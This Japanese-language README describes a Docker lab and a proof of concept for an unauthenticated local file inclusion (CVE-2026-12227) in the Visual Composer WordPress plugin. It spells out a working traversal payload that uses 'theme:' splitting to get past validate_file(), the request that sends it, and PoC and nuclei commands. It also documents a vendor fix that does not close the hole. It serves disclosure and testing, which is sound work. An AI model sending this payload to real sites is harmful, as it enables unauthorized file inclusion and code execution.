CVE-2026-12227(Visual Composer の vcv-template を介した未認証 LFI)向けの Docker 検証ラボおよび safe-oracle PoC。nuclei 検出テンプレート付き。
CVE-2026-12227 を再現・検証するためのセキュリティリサーチ資料: Visual Composer Website Builder のページテンプレート解決における未認証ローカルファイルインクルージョン(CVSS 3.1 9.8)、および検証済みのベンダー修正の不一致(下記参照)。
locate_template() 内のコア封じ込めゲート、CVE-2026-87902 の修正による)- プラグインコード自体は 45.16.3 時点で一度もパッチされていないAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) - CWE-98自身が所有するか、明示的にテストを許可されたシステムでのみ使用してください。 PoC は無害なオラクルインクルード(標準の
wp-links-opml.php/xmlrpc.phpの出力)を発火させます。ファイル配置、書き込み、RCE ペイロードはありません。
ステータス: 提供されたラボで実証済み。
WP 7.1.1 + VC 45.16.1 : POST /?vcv-template-type=vc-custom-layout&
vcv-template=theme:.theme:./.theme:./.theme:./wp-links-opml.php
-> 200, body contains <opml version="1.0"> (docroot PHP included + executed)
WP 7.1.1 + VC 45.16.3 : same request -> same oracle output
(the vendor "fixed" release is still exploitable)
WP 7.1.2 + VC 45.16.1 : silent (masked by the core gate, not by a plugin fix)
マーカーレベルの証明(uploads/ に設置した PHP ファイルが未認証 GET でインクルード・実行される)はラボ証拠の一部であり、脆弱なバリアントで ./lab verify により再現されます。
visualcomposer/Modules/Editors/Settings/PageTemplatesController.php::viewPageTemplate()
は template_include を優先度 11 でフックし、認証チェックがありません:
// line 140: validation on the RAW request value
if (empty($current) || validate_file($current['value']) !== 0) {
return $originalTemplate;
}
// lines 146-149: mutation AFTER the gate
if ($current['type'] === 'vc-custom-layout' && strpos($current['value'], 'theme:') !== false) {
$current['value'] = str_replace('theme:', '', $current['value']);
}
// line 152: the sink
$result = locate_template($current['value']);
validate_file() はリテラルの .. を拒否します。しかし値はチェック後にのみ融合されるため、各トラバーサルを theme: 境界で分割すれば通過します:
raw: theme:.theme:./.theme:./.theme:./wp-links-opml.php (no literal '..')
validate: PASS (validate_file sees no '..' substring)
strip: str_replace('theme:', '', ...) removes every 'theme:' occurrence,
fusing the fragments: '.' + '../' per boundary
result: ../../../wp-links-opml.php (pure traversal, resolved by the sink)
Request::input()(Helpers/Request.php:76)は生の $_POST/$_GET/$_REQUEST を返すため、上流でもクリーンアップされません。
locate_template() は候補を file_exists() で解決し、これは .. セグメントを尊重します。
WordPress 7.1.2(CVE-2026-87902 の修正)は locate_template() 内に _wp_is_template_path_allowed() を追加しました(wp-includes/template.php)。このコアゲートは融合されたトラバーサル候補を拒否するため、WP 7.1.2+ ではこのプラグインチェーンはコアによってマスクされます - プラグインは一度もパッチされていません。ラボ内で検証された帰属: 7.1.2 ではシンクは依然として実行されますがテーマディレクトリに限定され、7.1.1 では脱出します。
実用的な帰結: Visual Composer 45.16.3(修正済みとして宣伝されている現行リリース)を WordPress <= 7.1.1 で実行しているサイトは、今日でも未認証 LFI に対して脆弱です。これを無効化するのは WordPress コアの更新のみです。
要件: Docker(Compose v2)、ホスト上の Python 3.10+。
./lab verify
3 つのコントロールを実行します: 脆弱(WP 7.1.1 + VC 45.16.1、オラクルが発火する必要あり)、パッチ済み(WP 7.1.2 + VC 45.16.1、オラクルは沈黙を保つ必要あり)、最新(WP 7.1.1 + VC 45.16.3、オラクルが発火する必要あり - 修正不一致のデモンストレーション)。
脆弱コントロール:
[!!!] LFI CONFIRMED (safe oracle: wp-links-opml.php)
request : POST http://127.0.0.1:9488/?vcv-template-type=vc-custom-layout&vcv-template=theme:.theme:./.theme:./.theme:./wp-links-opml.php
evidence: <opml version="1.0">
RESULT: VULNERABLE CONTROL CONFIRMED
パッチ済みコントロール:
[=] oracle silent after N requests: WP 7.1.2+ core gate masking, ...
RESULT: PATCHED CONTROL CONFIRMED (masked by WP 7.1.2 core gate)
./lab start vulnerable # WP 7.1.1 + VC 45.16.1 on 127.0.0.1:9488
./lab test
./lab start patched # WP 7.1.2 + VC 45.16.1
./lab test
./lab start latest # WP 7.1.1 + VC 45.16.3 (still fires)
./lab test
./lab reset
PoC を手動で実行(デフォルトはループバック; 許可された外部ターゲットには明示的なオーバーライドが必要):
python3 poc/poc_cve_2026_12227.py --url http://127.0.0.1:9488
python3 poc/poc_cve_2026_12227.py --url https://target.example \
--allow-authorized-non-loopback [--insecure]
nuclei テンプレート(nuclei/cve-2026-12227.yaml)は、ホームページ + page_id アンカーにわたり深さ 3-6 で同じオラクルペイロードを発火させ、最初の一致で停止します。
| 組み合わせ | 結果 |
|---|---|
| WP 7.1.1 + VC 45.16.1 (= 45.16.0 コード) | LFI 再現(オラクル + 設置マーカー実行) |
| WP 7.1.1 + VC 45.16.3(現行リリース) | LFI 依然発火 |
| WP 7.1.2 + VC 45.16.1 | 沈黙(コアゲートによりマスク) |
| VC 45.16.2 | 修正差分をレビュー; 脆弱パスは不変(個別実行はなし) |
.
├── .github/workflows/validate.yml
├── .gitignore
├── LICENSE
├── README.md
├── SECURITY.md
├── docker-compose.yml
├── lab
├── nuclei/
│ └── cve-2026-12227.yaml
└── poc/
└── poc_cve_2026_12227.py
コミット対象外: assets/(プラグイン zip)、.lab-state、__pycache__/。
| 主張 | ステータス |
|---|---|
| テーマディレクトリ外への PHP 実行を伴う未認証 LFI | 実証済み(オラクル + 設置マーカー) |
| 45.16.3 までベンダー修正が存在しない | 実証済み(コード差分 + 45.16.3 でのライブ発火) |
| WP 7.1.2 コアによるマスキング | 実証済み(同一リクエストが 7.1.2 では沈黙、7.1.1 では発火) |
| 深さのセマンティクス | themes// から docroot まで 3 階層上; スイープは 3-6 をカバー |
| 実ターゲットでの pearcmd/write チェーンによる RCE | 未実行(安全オラクルのみの PoC) |
| 45.16.0(元の影響リリース) | 45.16.1 とコード同一; その wp.org zip は vendor/ を欠きインストール不可 |
アドバイザリは修正が 45.16.1 で適用されたと記載していますが、脆弱なコードパスは 45.16.3 までのすべてのリリースで変更されていません(ツリー差分とライブ発火により検証済み)。Visual Composer を保守している場合: viewPageTemplate() は theme: 除去の後に値を再検証(または拒否)する必要があり、前ではありません。サイトはこの件についてプラグイン更新に依存すべきではありません - 実際にこれを塞ぐのは WordPress 7.1.2 コア更新です。
このリポジトリは、自身が所有するか、明示的にテストを許可されたシステムでのみ実行してください。ラボドライバは未知のバリアントを拒否し、PoC は --allow-authorized-non-loopback が指定されない限り非ループバックターゲットを拒否し、Compose ポートは 127.0.0.1 にバインドされています。
開示の取り扱いについては SECURITY.md を参照してください。このリポジトリには、本番ターゲット、顧客データ、アクセストークン、実システムからの証拠は含まれていません。
MIT - LICENSE を参照。